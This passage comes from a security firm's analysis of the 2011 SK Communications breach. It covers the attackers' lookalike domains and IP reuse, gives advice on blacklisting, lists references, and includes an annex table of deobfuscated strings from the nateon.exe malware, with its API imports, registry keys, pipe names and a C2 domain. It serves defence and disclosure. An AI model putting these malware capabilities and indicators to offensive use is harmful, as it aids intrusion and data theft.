hacked for another reason. Attackers may use the same registration information to register multiple domain names. Such appears to have been the case with the domains registered by Cooper Attackers may register domains containing words that are expected to make them appear less suspicious to targets. Such as with the use of nateon'and alyac in the callback domains used by infected SK Communications computers. Attackers may use seemingly legitimate registration information to register domain names. Such appears to have been the case with the registration of alyac.org and trendmicros.net Users should be wary of domains which appear to be legitimate but are not. Such as alyac.org instead of alyac.com PAGE 11 OF 24 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. trendmicros.net instead of trendmicro.com nprotects.org instead of nprotect.com and bomuls.com instead of bomul.com Even though it is relatively easy to create new infrastructure, attackers sometimes reuse infrastructure. For example, the domains bbs.ezxsoft.com and update.alyac.org both previously pointed to IP address 202.30.244.240, and alyac.org trendmicros.net nprotect.org and bomuls.com all pointed to IP address 222.122.20.241. The TTL of domains (in DNS records) controlled by attackers are often set to low values (such as 30 minutes) allowing the attackers to rapidly change the command and control server pointed to by a callback domain. This facilitates relatively uninterrupted access to a target when command and control infrastructure becomes blocked or is otherwise unavailable. The use of legitimate domains for malicious purposes, familiar words in domain names and of non malicious IP addresses in DNS records for malicious domains, can make detection of malicious activity more difficult and cause network defenders to dismiss malicious activity (in network/system logs or Intrusion Detection System alerts, in particular) as legitimate. Adding malicious IP addresses and domains to blacklists can help prevent malicious activity, however, attackers can respond by merely using alternate infrastructure and/or callback domains. Domains and IP addresses may have legitimate purposes too and blacklisting them may also block legitimate business. Blacklists should be reviewed periodically to ensure they are not blocking legitimate business unnecessarily. Whitelists are generally much more effective than blacklists, however, even whitelists can allow malicious activity to occur to legitimate sites that have been compromised. For example, as a good security practice, most system administrators would have allowed access to the ALZip update server if they had ALZip software installed on their network. Similarly, if a whitelist were employed on the targeted network but users had a legitimate need to access the website of the Taiwanese publishing company, the attacker would likely still have been able to access their toolbox. Users and network administrators need to continually reassess who and what they trust on the Internet given that trust relationships can be, and increasingly are, exploited for malicious purposes. DISCLAIMER Machine translation software has been heavily relied on throughout the development of this paper. While data has been verified against multiple sources, where possible, Command Five Pty Ltd does not guarantee the veracity of sources or the accuracy of translation and interpretation. Command Five Pty Ltd reminds readers to exercise caution when visiting untrusted websites and/or opening untrusted digital documents. Command Five Pty Ltd does not warrant that the websites referenced in this paper are trustworthy. PAGE 12 OF 24 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. REFERENCES Birdman. (2011, July 31). Xecure Lab Blog. Retrieved August 12, 2011, from http://blog.xecure lab.com/2011/07/2500.html CEOinIRVINE. (2011, August 17). Information Security & US & Life & Love & Fashion & Hacking & Passion. Retrieved September 13, 2011, from http://hack3r.tistory.com/tag/Malware Command Five Pty Ltd. (2011, June). Advanced Persistent Threats: A Decade in Review. Retrieved September 24, 2011, from Command Five Pty Ltd: http://www.commandfive.com/papers/C5_APT_ADecadeInReview.pdf Domain Tools, LLC. (2011). AlYAc.org Al Y Ac Screenshot History. Retrieved September 08, 2011, from DomainTools: http://www.domaintools.com/research/screenshot history/alyac.org Domain Tools, LLC. (2011). Reverse Whois Lookup | Domain Ownership Search | Domain Tools. Retrieved September 22, 2011, from Domain Tools: http://www.domaintools.com/research/reverse whois/?all[]=leecooper%40korea.com&none[]= EDaily. (2011, August 11). Nate hack related. Retrieved September 14, 2011, from EDaily Korean News: http://www.edaily.co.kr/news/NewsRead.edy?SCD=DC16&newsid=02056566596346336&DCD=A0140 5&OutLnkChk=Y ESTsoft. (2011, August 04). ESTsoft apology for ALTools security vulnerability. Retrieved September 14, 2011, from ESTsoft Blog: http://blog.estsoft.co.kr/138 ESTsoft. (2011, August 05). ESTsoft news release with respect to ALTools security vulnerability. Retrieved September 19, 2011, from ESTsoft Blog: http://blog.estsoft.co.kr/139 ESTsoft. (2011, August 11). Police release interim results on Nate hack. Retrieved September 14, 2011, from ESTsoft Blog: http://blog.estsoft.co.kr/143 ESTsoft. (2011, August 04). Urgent security patches for public ALTools products. Retrieved September 20, 2011, from ALTools Announcements: http://www.altools.co.kr/Plaza/Notice_Contents.aspx?idx=828 ETnews. (2011, August 05). ETnews Nate hack, planned since last year? Retrieved August 12, 2011, from http://www.etnews.com/news/print.html?id=201108050128 GFI SandBox. (2011, May 30). GFI SandBox Malware Analysis Report: Backdoor.Win32.Generic. Retrieved September 22, 2011, from GFI SandBox: http://xml.ssdsandbox.net/view/6c6adbd087276ae89f8262582798b708 GFI SandBox. (2011, July 15). GFI SandBox Malware Analysis Report: Trojan.Win32.AgentBypass. Retrieved August 25, 2011, from http://xml.ssdsandbox.net/view/fdf2c5c2b1874efe7fd335092df2d3bc GFI SandBox. (2011, May 29). GFI SandBox Malware Analysis Report: Trojan.Win32.Generic!SB Trojan.Trojan.Win32.Generic. Retrieved September 2011, 2011, from http://xml.ssdsandbox.net/view/bce1069dd099f15170c5fd05bae921b5 GFI Software. (2011, February 08). CWSandbox Report By MD5 at Sunbelt Security. Retrieved September 22, 2011, from http://www.sunbeltsecurity.com/partnerresources/cwsandbox/md5.aspx?id=e8ee9373ee6c836042e8f 48d8de2dda9 Goodin, D. (2011, August 12). Software maker fingered in Korean hackocalypse. Retrieved September 06, 2011, from The Register: http://www.theregister.co.uk/2011/08/12/estsoft_korean_megahack/ PAGE 13 OF 24 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. Hauri Response Team. (2011, August 04). SK Communications detailed analysis report of nateon.exe malware. Retrieved August 12, 2011, from http://www.hauri.co.kr/updata/SK_detail_report.pdf Hispasec Sistemas. (2011, September 06). VirusTotal. Retrieved September 22, 2011, from http://www.virustotal.com/file scan/report.html?id=727c5a2c3db079351a79351a79367a1d9eada072a8e19bce0a02eb680088e8eae9b 1315308204 Hispasec Sistemas. (2011, August 03). VirusTotal Free online Virus, Malware and URL Scanner. Retrieved August 12, 2011, from http://www.virustotal.com/file scan/report.html?id=74455d5e8f99272aec64bce106b1e8ff39a122a7d27d362a274af31ab5a4fb1e 1313643321 Hispasec Sistemas. (2011, August 19). VirusTotal Free Online Virus, Malware and URL Scanner. Retrieved September 22, 2011, from http://www.virustotal.com/file scan/report.html?id=74455d5e8f99272aec64bce106b1e8ff39a122a7d27d362a274af31ab5a4fb1e 1313760695 Hispasec Sistemas. (2011, July 29). VirusTotal Free Online Virus, Malware and URL Scanner. Retrieved September 22, 2011, from http://www.virustotal.com/file scan/report.html?id=74455d5e8f99272aec64bce106b1e8ff39a122a7d27d362a274af31ab5a4fb1e 1311902003 Hispasec Sistemas. (2011, August 07). VirusTotal Free Online Virus, Malware and URL Scanner. Retrieved August 18, 2011, from http://www.virustotal.com/file scan/report.html?id=b6aecab3c07e915e27db4b4be4c32de1ffa613029818bbd1bb755653c10fbe38 1311920836 Japanese IT Promotion Agency. (2011, June 29). IPA/ISEC: Vulnerabilities: Security Alert for Vulnerability in ALZip. Retrieved September 18, 2011, from Japanese IT Promotion Agency: http://www.ipa.go.jp/security/english/vuln/201106_alzip_en.html woo Seo, J. h. H. (2011, July 28). 35mn User Info Leaked in Cyber Attack against S. Korean Portals. Retrieved September 19, 2011, from MK Business News: http://news.mk.co.kr/english/newsRead.php?sc=30800005&cm=General&year=2011&no=491540&selF lag=sc&relatedcode=&wonNo=&sID=308 JSUNPACK. (2011, July 27). jsunpack a generic JavaScript unpacker. Retrieved August 14, 2011, from http://jsunpack.jeek.org/dec/go?report=9f5addc7e0c7c57eab347ba10e9a81a032cf0daf JSUNPACK. (2011, July 27). jsunpack a generic JavaScript unpacker. Retrieved August 08, 2011, from http://jsunpack.jeek.org/dec/go?report=f84cd73dabf186607f986df98c5402a57bb58ad1 JSUNPACK. (2011, July 27). jsunpack a generic JavaScript unpacker. Retrieved August 04, 2011, from http://jsunpack.jeek.org/dec/go?report=2c645b8dee2789a0d5d1c1e173ca3bb6b0d0528e Kryo. (2010, February 6). kryo.se: iodine (IP over DNS, IPv4 over DNS tunnel). Retrieved September 18, 2011, from kryo.se: http://code.kryo.se/iodine Malc0de.com. (n.d.). 116.127.121 | Malc0de Database. Retrieved August 22, 2011, from Malc0de Database: http://malc0de.com/database/index.php?search=116.127.121&IP=on Microsoft. (2007, December 10). A description of Svchost.exe in Windows XP Professional Edition. Retrieved September 07, 2011, from Microsoft Support: http://support.microsoft.com/?kbid=314056 PAGE 14 OF 24 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. Microsoft. (2007, December 04). What is a DLL? Retrieved September 18, 2011, from Microsoft Support: http://support.microsoft.com/kb/815065 Microsoft. (n.d.). Security Center Bulletins Advisories Tools Guidance Resources. Retrieved September 09, 2011, from Microsoft Security TechCenter: http://technet.microsoft.com/en us/security/default Mister Group. (n.d.). nateon.exe What is the nateon.exe? Retrieved September 06, 2011, from http://systemexplorer.net/db/nateon.exe.html Moon young, L. (2011, August 12). Personal information hack traced to Chinese IP address. Retrieved September 09, 2011, from The Hankyoreh Media Company: http://english.hani.co.kr/arti/english_edition/e_national/491514.html Mullaney, C. (2011, July 30). Backdoor.Sogu Technical Details | Symantec. Retrieved August 18, 2011, from http://www.symantec.com/security_response/writeup.jsp?docid=2011 073003 5345 National Institute of Standards and Technology. (n.d.). National Vulnerability Database. Retrieved September 20, 2011, from http://nvd.nist.gov/home.cfm Novell. (2011). Novell Customer: Cite Media Holding Group. Retrieved July 29, 2011, from http://www.novell.com/success/cite.html Parkour, M. (2011, July 14). contagio: Jul 13 CVE 2010 2883 PDF Meeting Agenda with more Poison Ivy www.adv138mail.com | 112.121.171.94. Retrieved September 22, 2011, from Contagiodump Blog: http://contagiodump.blogspot.com/2011/07/jul 2010 2883 meeting agenda.html Samsung IDC. (2011, August 05). Samsung IDC Helpdesk Notice. Retrieved August 12, 2011, from http://www.samsungidc.com/helpdesk/notice_view.jsp?bpd_seq=0000001532 SK Communications. (n.d.). SK Communications About Us. Retrieved September 06, 2011, from http://corp.skcomms.co.kr/eng/global.htm Sung jin, Y. (2011, July 28). 35m Cyworld, Nate users' information hacked. Retrieved September 06, 2011, from Korea Herald: http://www.koreaherald.com/lifestyle/Detail.jsp?newsMLId=20110728000881 The Internet Archive. (2010, August 14). Error page. Retrieved September 18, 2011, from The Internet Archive Wayback Machine: http://web.archive.org/web/20100814135834/http://www.cph.com.tw/1jebugldgJtOAjb1wnXe8A== ThreatExpert. (2011, July 13). ThreatExpert Report: Trojan.Win32.Scar.dysk, Bat/sdel. Retrieved September 22, 2011, from http://www.threatexpert.com/report.aspx?md5=16a31aa8e7ddf66a31551840573b6575 ThreatExpert. (2011, August 03). ThreatExpert Report: Trojan.Win32.Scar.dzoc. Retrieved September 22, 2011, from http://www.threatexpert.com/report.aspx?md5=bce1069dd099f15170c5fd05bae921b5 ThreatExpert. (2011, July 29). ThreatExpert Report: Virus.Win32.Virut. Retrieved September 22, 2011, from http://www.threatexpert.com/report.aspx?md5=aba9baea70825e6adf0723587f273dc4 TMCnews. (2011, August 11). S. Korea plans to scrap online real name system. Retrieved September 19, 2011, from TMCnews: http://www.tmcnet.com/usubmit/2011/08/11/5698912.htm PAGE 15 OF 24 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. ANNEX A LIST OF DEOBFUSCATED STRINGS FOUND WITHIN NATEON.EXE Strings inside nateon.exe are stored in an obfuscated form and only deobfuscated as, and while, they are needed. This table contains a complete list of deobfuscated strings extracted during static binary analysis of the malicious file. For each string, two addresses are provided the Code Address and the Obfuscated Address . The Code Address is the address, in code, from which the string deobfuscation is requested. This address can be used to efficiently identify wrapper functions that dynamically import system APIs (such as those used for network communications), as well as to locate interesting parts of the malware. The Obfuscated Address is the address, in data, where the obfuscated string is stored. For readability, the strings presented in the Deobfuscated String column have been converted from their original formats. Some of the strings are stored inside nateon.exe as 8 bit character strings and some as 16 wide character strings. Non printable characters have been escaped as hexadecimal values in the form <\xHH> <\uHHHH> . Trailing null ( <\x00> ) characters are not shown. Standard escape sequences such as (newline) and (carriage return) are also used to improve readability. CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING 10001022 100220C0 "LocalFree" 10003D46 10022294 "user32.dll" 10001071 100220CC "GetOEMCP" 10003D8A 100222A0 "advapi32.dll" 100010BB 100220D8 "GetCommandLineW" 10003DC9 100222B0 "gdi32.dll" 10001105 100220EC "GetCurrentProcess" 10003E09 100222BC "ws2_32.dll" 1000114F 10022100 "Sleep" 10003E4C 100222C8 "shell32.dll" 1000119E 10022108 "ExitProcess" 10003E90 100222D8 "shlwapi.dll" 100011EA 10022118 "TerminateProcess" 10003ED2 100222E8 "psapi.dll" 1000123B 1002212C "lstrcmpiW" 10003F12 100222F4 "mpr.dll" 1000128D 10022138 "WaitForSingleObject" 10003F52 10022300 "wtsapi32.dll" 100012DF 10022160 "SetEvent" 10003F88 10022310 "version.dll" 1000132E 1002216C "GetLastError" 10003FC8 10022320 "msvcrt.dll" 10001378 100221B0 "CommandLineToArgvW" 10004008 1002232C "wininet.dll" 100013F5 10022150 "TlsSetValue" 10004048 1002233C "sfc.dll" 10001761 100221C4 "SeDebugPrivilege" 10004089 10022348 "odbc32.dll" 100017A2 100221E8 "SeTcbPrivilege" 100040C8 10022354 "ole32.dll" 10001A97 1002217C "SetServiceStatus" 10004101 10022360 "iphlpapi.dll" 10001B6A 10022208 "SMI"51 10004151 10022370 "wsprintfA" 10001BD6 10022214 "SMU" 10004192 1002237C "wsprintfW" 10001C47 10022220 "SMRAC" 100047B7 10022388 "lstrlenA" 10001C8A 10022230 "SMRACU" 10004806 10022394 "lstrlenW" 10001DA0 10022190 "RegisterServiceCtrlHandlerExW" 10004855 100223A0 "MultiByteToWideChar" 10003AD9 10022240 "GetProcessHeap" 100048B2 100223B8 "WideCharToMultiByte" 10003B23 1002225C "HeapFree" 10004913 100223D0 "memcpy" 10003B8F 10022250 "HeapAlloc" 10004969 100223D8 "memset" 10003C64 10022268 "FreeLibrary" 10004FC9 100223E0 "InitializeCriticalSection" 10003CCD 10022278 "ntdll.dll52" 10005035 100223FC "DeleteCriticalSection" 10003D03 10022284 "kernel32.dll" 100050C5 10022414 "SetErrorMode" 10005109 10022424 "SeDebugPrivilege" 10005137 10022448 "SeTcpPrivilege" 100054DE 1002285C "EnumServicesStatusW" 51 SMI, SMU, SMRAC, SMRACU are the operating modes of nateon.exe . (Hauri Response Team, 2011) 52 The strings with suffix .dll identify modules loaded dynamically by the malware. PAGE 16 OF 24 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING 100056C8 100228A4 "QueryServiceConfig2W" 100084B0 10022774 10005854 10022C34 "CompanyName" 10008503 1002277C 1000589F 10022C50 10008544 10022764 "System" 100058DC 10022C58 "FileDescription" 1000856D 10022754 "System" 10005927 10022C00 10008596 10022728 "System Idle Process" 1000596E 10022C7C "FileVersion" 1000875B 100226F8 "GetTcpTable" 100059B9 10022C98 1000884E 10022680 100059F5 10022CA0 "ProductName" "AllocateAndGetTcpExTableFrom Stack" 10005A40 10022774 100088F8 100226C8 "GetExtendedTcpTable" 10005A8C 10022CBC "ProductVersion" 10008B17 100227D0 10005AD7 10022CDC 10008B5F 100227D8 10006021 10022468 "CloseHandle" 10008B99 100227C0 "System" 10006070 1002249C "GetDiskFreeSpaceExW" 10008BC2 100227B0 "System" 100060C8 100224B4 "GetVolumeInformationW" 10008BEB 10022784 "System Idle Process" 1000612A 100224CC "CreateDirectoryW" 10008DC4 10022708 "GetUdpTable" 1000617B 100224E0 "CreateFileW" 10008E9C 100226A4 100061DB 100224F0 "GetFileSize" "AllocateAndGetUdpExTableFrom Stack" 1000622D 10022500 "GetFileTime" 10008F46 100226E0 "GetExtendedUdpTable" 10006285 10022510 "WriteFile" 10008FDE 100227E0 "WaitForMultipleObjects" 100062E0 1002251C "ReadFile" 100093DD 100227F8 "GetIconInfo" 1000633B 10022528 "SetEndOfFile" 1000942F 10022808 "DestroyIcon" 1000638A 10022538 "SetFileTime" 1000947E 10022818 "OpenProcess" 100063E2 10022548 "SetFilePointer" 100094D2 10022828 "OpenSCManagerW" 1000643A 10022558 "FindFirstFileW" 10009525 10022838 "OpenServiceW" 1000648C 10022568 "FindNextFileW" 1000957A 10022848 "CloseServiceHandle" 100064DE 10022578 "FindClose" 100095C9 10022874 "QueryServiceConfigW" 1000652D 10022584 "FlushFileBuffers" 10009623 1002288C "ChangeServiceConfigW" 1000657C 10022598 "lstrcpyW" 10009683 100228BC "DeleteService" 100065D0 100225A4 "CreateProcessW" 100096D2 100228CC "StartServiceW" 10006631 100225C8 "memcmp" 10009725 100228DC "ControlService" 10006766 10022478 "QueryDosDeviceW" 10009779 100228EC "CreateDCW" 100067B9 100225D0 "\Device\Floppy<\x00><\uA4BC ><\u5CD1>" 100097CE 100228F8 "GetDIBits" 1000982C 10022904 "DeleteDC" 100067D3 100225D0 "\Device\Floppy<\x00><\uA4BC ><\u5CD1>" 1000987B 10022910 "DeleteObject" 100098CA 10022920 "ExtractIconExW" 10006862 1002248C "GetDriveTypeW" 10009923 10022930 "EnumProcesses" 10006941 100225F0 "%s" 10009978 10022940 "EnumProcessModules" 10006990 100225F8 "%s" 100099D0 10022954 "GetModuleFileNameExW" 10006AC7 10022600 "*.*" 10009A28 10022984 "SfcIsFileProtected" 100076E4 100225B4 "SHFileOperationW" 10009D14 10022A24 10007ACC 1002263C "WNetCloseEnum" 10009D42 10022A2C 10007CD5 10022618 "WNetOpenEnumW" 10009D7E 100229F8 "NT AUTHORITY" 10007DE6 10022628 "WNetEnumResourceW" 10009DAD 10022A14 "SYSTEM" 10007F65 10022650 "%s" 10009DD6 100229CC "NT AUTHORITY" 10007FB7 10022658 "%s" 10009E05 100229E8 "SYSTEM" 10007FFC 10022660 "%s" 10009E39 100229A0 "NT AUTHORITY" 1000804F 10022668 "%s" 10009E6B 100229BC "SYSTEM" 100081E5 10022670 "GetVersionExW" 10009ECA 10022A80 1000825D 10022718 "SetTcpEntry" 10009F13 10022A70 "System" PAGE 17 OF 24 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING 10009F42 10022A60 "System" 1000CC42 10022EA4 "CloseWindowStation" 10009F6E 10022A34 "System Idle Process" 1000CC91 10022EB8 "OpenInputDesktop" 10009F9A 10022A88 "CompanyName" 1000CCE4 10022ECC "SetThreadDesktop" 10009FDB 10022AA4 1000CD33 10022EE0 "GetThreadDesktop" 1000A020 10022AAC "FileDescription" 1000CD82 10022EF4 "CloseDesktop" 1000A064 10022A24 1000CDD1 10022F04 "SetCursorPos" 1000A0A9 10022AD0 "FileVersion" 1000CE23 10022F44 "GetCurrentThreadId" 1000A0ED 10022AEC 1000CE6D 10022F58 "CreateThread" 1000A131 10022AF4 "ProductName" 1000CEC8 10022F68 "CreateCompatibleDC" 1000A175 10022998 1000CF17 10022F7C "CreateDIBSection" 1000A1AF 10022B10 "ProductVersion" 1000CF72 10022F90 "SetDIBColorTable" 1000A1F3 10022B30 1000CFC9 10022FA4 "GdiFlush" 1000A730 1002296C "GetModuleInformation" 1000D013 10022FB0 "GetDeviceCaps" 1000A7CC 10022B38 1000D067 10022FC0 "BitBlt" 1000A805 10022B40 "\??\<\x00><\uFC04><\uF06C>" 1000D0C9 10022FC8 "SelectObject" 1000A859 10022B4C "\SystemRoot\<\x00><\u7C84>< \u98E4>" 1000D136 10022FD8 "DISPLAY" 1000A8AE 10022B68 "\<\x00><\uFFFD>" 1000DB81 10022FEC "DISPLAY" 1000A919 10022B70 "CompanyName" 1000DE8A 10023000 "DISPLAY" 1000A95B 10022B8C 1000E3BE 10023014 "DISPLAY" 1000A999 10022B94 "FileDescription" 1000E9AB 10022F34 "PostMessageA" 1000A9D8 10022BB8 1000EA13 10022F24 "keybd_event" 1000AA13 10022BC0 "FileVersion" 1000EA8B 10022F14 "mouse_event" 1000AA52 10022BDC 1000EB1C 10023028 "WinSta0" 1000AA8E 10022BE4 "ProductName" 1000EB3F 10022E74 "OpenWindowStationW" 1000AAD0 10022C00 1000EC3C 1002303C "GetTickCount" 1000AB0E 10022C08 "ProductVersion" 1000EC86 1002304C "ConnectNamedPipe" 1000AB50 10022C28 1000ECD8 10023060 "CreateNamedPipeW" 1000B445 10022CE4 "DISPLAY" 1000ED3F 10023074 "GetOverlappedResult" 1000B6A3 10022CF8 "SYSTEM\CurrentControlSet\Serv ices\<\x00><\u90A0> 1000ED96 1002308C "CreateEventW" 1000F0CF 1002309C 1000B6DB 10022D40 "\Parameters<\x00><\u3858>" "\\.\pipe\a%d<\x00><\u3CC4>< \u3C18><\u9C08><\u3C8A>" 1000B70E 10022D5C "ServiceDll" 1000F2B1 100230B8 "\\.\pipe\b%d<\x00><\u7080>< \u0C17><\u4C49><\uEC10>" 1000B77F 10022D74 "RegOpenKeyExW" 1000F38F 100230D4 "CMD.EXE" 1000B7DD 10022D84 "RegCreateKeyExW" 1000FC7B 100230E8 "SQLAllocHandle"53 1000B83D 10022D98 "RegQueryValueExW" 1000FCD0 100230F8 "SQLSetEnvAttr" 1000B899 10022DAC "RegSetValueExW" 1000FD2A 10023108 "SQLDriverConnectW" 1000B8F8 10022DBC "RegEnumKeyExW" 1000FD88 1002311C "SQLDisconnect" 1000B953 10022DCC "RegCloseKey" 1000FDD7 1002312C "SQLFreeHandle" 1000B9A2 10022DDC "SHCopyKeyW" 1000FE29 1002313C "SQLExecDirectW" 1000B9F9 10022E08 "SHDeleteKeyW" 1000FE7D 1002315C "SQLNumResultCols" 1000BA4B 10022E18 "SHDeleteValueW" 1000FECF 1002319C "SQLMoreResults" 1000BAA0 10022E28 "SHGetValueW" 10010339 10023170 "SQLColAttributeW" 1000BE37 10022DE8 "SHEnumKeyExW" 100104B5 10023184 "SQLFetch" 1000C492 10022DF8 "SHEnumValueW" 1001052B 10023190 "SQLGetData" 1000CAFB 10022E38 "VirtualAlloc" 1001057D 100231AC "NULL" 1000CB53 10022E48 "VirtualFree" 10010627 1002314C "SQLGetDiagRecW" 1000CBA9 10022E58 "GetProcessWindowStation" 1000CBF3 10022E88 "SetProcessWindowStation" 53 The imported functions with an prefix were presumably used to access the SK Communications databases. PAGE 18 OF 24 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING 10010739 100231DC "ExitWindowsEx" 10012DF9 10023604 "GetTokenInformation" 1001078A 100231EC "InitiateSystemShutdownA" 10012E54 10023630 "LookupPrivilegeValueW" 10010808 100231C8 "LockWorkStation" 10012EA8 10023648 "AdjustTokenPrivileges" 100108CC 10023208 "SeShutdownPrivilege" 10012F02 100236B4 "GetFileVersionInfoW" 100109C8 10023234 "SeShutdownPrivilege" 10012F59 100236CC "VerQueryValueW" 10010ACC 10023260 "SeShutdownPrivilege" 100130F1 1002353C "GetWindowsDirectoryW" 10010D37 100231B8 "MessageBoxW" 10013158 10023554 "GetSystemDirectoryW" 10010D95 100232F0 "GetConsoleMode" 100132AD 10023588 "GetComputerNameW" 10010DE7 10023318 "SetConsoleCtrlHandler" 1001337D 10023660 "GetUserNameW" 10010E3B 1002337C "SetConsoleScreenBufferSize" 10013445 10023748 "CLSID" 10010EC2 10023330 "WriteConsoleInputW" 10013465 10023758 10010F47 100232CC "GetConsoleCP" "SOFTWARE\CLASSES\SAFEGUI <\x00><\u40F0><\u380B>"54 10010FC1 100232DC "GetConsoleOutputCP" 100134D4 1002378C "CLSID" 10011044 10023300 "GetConsoleDisplayMode" 100134EA 10023758 10011096 100233AC "GetConsoleCursorInfo" "SOFTWARE\CLASSES\SAFEGUI <\x00><\u40F0><\u380B>" 1001110F 10023360 "GetConsoleScreenBufferInfo" 1001357C 1002352C "GetSystemTime" 1001134D 10023398 "ReadConsoleOutputW" 100136DC 100237A0 "%2.2X%2.2X%2.2X%2.2X%2.2X %2.2X%2.2X%2.2X" 10011617 100233D4 "CMD" 10013749 100237F4 "%ALLUSERSPROFILE%" 10011643 100233E0 100137C6 10023820 1001166F 100233E8 "/Q" 100116A3 100232A8 "AllocConsole" "\Documents and Settings\All Users<\x00><\uC030><\u0848> 100116F3 100232B8 "GetConsoleWindow" 10013807 10023868 10011738 1002328C "ShowWindow" "\Documents and Settings\All Users<\x00><\u78D8><\u6090> 100117A2 10023298 "GetStdHandle" 1001384C 100238B0 10011AE2 100233C4 "FreeConsole" "\Documents and Settings\All Users<\x00><\u3818><\u20D0> 10011CAA 100233F0 "CONIN$" 1001389A 100238F8 "\ProgramData<\x00><\uE8A8>" 10011D3A 10023344 "GenerateConsoleCtrlEvent" 100138D8 10023914 "\ProgramData<\x00><\uFFFD>" 10011E6D 10023400 "CONIN$" 10013907 10023930 "\<\x00><\uB898>" 10011EAD 10023410 "CONOUT$" 10013B54 10023938 "\*.*<\x00><\u140C>" 10011F88 10023424 "CreateWindowExW" 10013E1F 10023944 ".EXE" 10011FE7 10023438 "SetWindowLongW" 10013EFB 10023950 ".EXE" 1001203D 10023448 "DestroyWindow" 1001404B 1002395C "\??\<\x00><\u742C><\uCC38>" 1001208C 10023458 "TranslateMessage" 1001409E 10023968 100120DB 1002347C "SetTimer" "\SystemRoot\<\x00><\u0808>< \u5834>" 10012136 10023488 "KillTimer" 100140F1 10023984 "\<\x00><\u18B8>" 1002361C "LookupAccountSidW" 10012188 100234A4 "DispatchMessageW" 10014219 100121D7 100234F8 "WTSUnRegisterSessionNotificati 100143AE 10023670 "WTSEnumerateProcessesW" 10014461 10023688 "WTSFreeMemory" 100122CB 10023494 "PeekMessageW" 100144FB 10023698 "GetFileVersionInfoSizeW" 10012379 1002351C "static" 1001459E 1002398C 1001255F 100234D8 "WTSRegisterSessionNotification" "\VarFileInfo\Translation<\x00> <\uEC54><\u2C48>" 10012687 100234B8 "MsgWaitForMultipleObjectsEx" 10014605 100239C0 10012779 1002346C "DefWindowProcW" "\StringFileInfo\%4.4X%4.4X\%s <\x00><\uF8D8><\uE090><\u2 379>" 10012C0D 1002356C "QueryPerformanceCounter" 10014992 10023A00 "IsWow64Process" 10012C5C 1002359C "GetFileAttributesW" 10012CAB 100235B0 "ExpandEnvironmentStringsW" 10012D00 100235CC "GetModuleFileNameW" 10012D55 100235E0 "OpenProcessToken" 10012DAA 100235F4 "GetLengthSid" unusual hardcoded registry SOFTWARE\CLASSES\SAFEGUI can be used to link nateon.exe with the malware that has the MD5 hash 6C6A DBD0 8727 6AE8 9F82 6258 2798 B708 and calls back to the domain expre.dyndns.tv on TCP port 443. It may also be used as a signature to identify other similar malware. (GFI SandBox, 2011) PAGE 19 OF 24 COPYRIGHT COMMAND FIVE PTY LTD. ALL RIGHTS RESERVED. CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING CODE ADDRESS OBFUSCATED ADDRESS DEOBFUSCATED STRING 100149F5 10023A10 "GetCurrentProcessId" 10016519 10023DA4 "" <\x00><\u74AC>" 10014A3F 10023A28 "ProcessIdToSessionId" 1001654C 10023AF4 "RqSkce" 10014A91 10023A40 "DuplicateTokenEx" 10016582 10023DAC 10014AEE 10023A54 "SetTokenInformation" 100165BE 10022208 "SMI" 10014B46 10023A98 "CreateProcessAsUserW" 100165FD 10023DB4 100151CE 10023AB0 ".DLL" 1001663B 10023DBC ""<\x00><\u14EC>" 10015202 10023ABC "RUNDLL32.EXE " 10016691 10023DC4 ""<\x00><\u28E8>" 1001522E 10023ADC ""<\x00><\u6010>" 1001689E 10023BE0 "DeleteFileW" 10015268 10023AE4 "\<\x00><\u3080>" 100169F3 10023C14 "GetModuleFileNameA" 100152A0 10023AEC "" <\x00><\u6868>" 10016A4A 10023BD0 "CreateFileA" 100152CC 10023AF4 "RqSkce" 10016DAA 10023DEC "QueryServiceStatusEx" 100152F8 10023B04 10016E03 10023E04 "ChangeServiceConfig2W" 10015324 10022220 "SMRAC" 10016E59 10023E1C "CreateServiceW" 100153FC 10023B0C "UserEnv.dll" 1001779C 10023E30 1001542A 10023B1C "CreateEnvironmentBlock" 10015456 10023B34 "DestroyEnvironmentBlock" "SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost<\x0 0><\uA8E8><\uC40C><\uFFFD> <\u9050>" 100155C1 10023B50 ".DLL" 1001791E 10023E9C 1001561B 10023B5C "RUNDLL32.EXE " 10017956 10023E30 10015656 10023B7C ""<\x00><\u843C>" 1001569E 10023B84 "\<\x00><\u68A8>" "SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost<\x0 0><\uA8E8><\uC40C><\uFFFD> <\u9050>" 100156EF 10023B8C "" <\x00><\uCCF4>" 10017A37 10023E30 10015722 10023AF4 "RqSkce" 1001575D 10023B04 "SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost<\x0 0><\uA8E8><\uC40C><\uFFFD> <\u9050>" 10015790 10022230 "SMRACU" 10017BE1 10023EA0 100157E1 10023A6C "ImpersonateLoggedOnUser" 10017C10 10023E30 1001586B 10023A88 "RevertToSelf" 10015943 10023B94 "WTSGetActiveConsoleSessionId" "SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost<\x0 0><\uA8E8><\uC40C><\uFFFD> <\u9050>" 10015C5E 10023BB4 "NT AUTHORITY" 10017C5F 10023EA4 "VirtualAllocEx" 10015D15 10023BF0 "MoveFileExW" 10017CBC 10023EB4 "VirtualFreeEx" 10015D68 10023C00 "GetModuleHandleA" 10017D15 10023EC4 "WriteProcessMemory" 100160D5 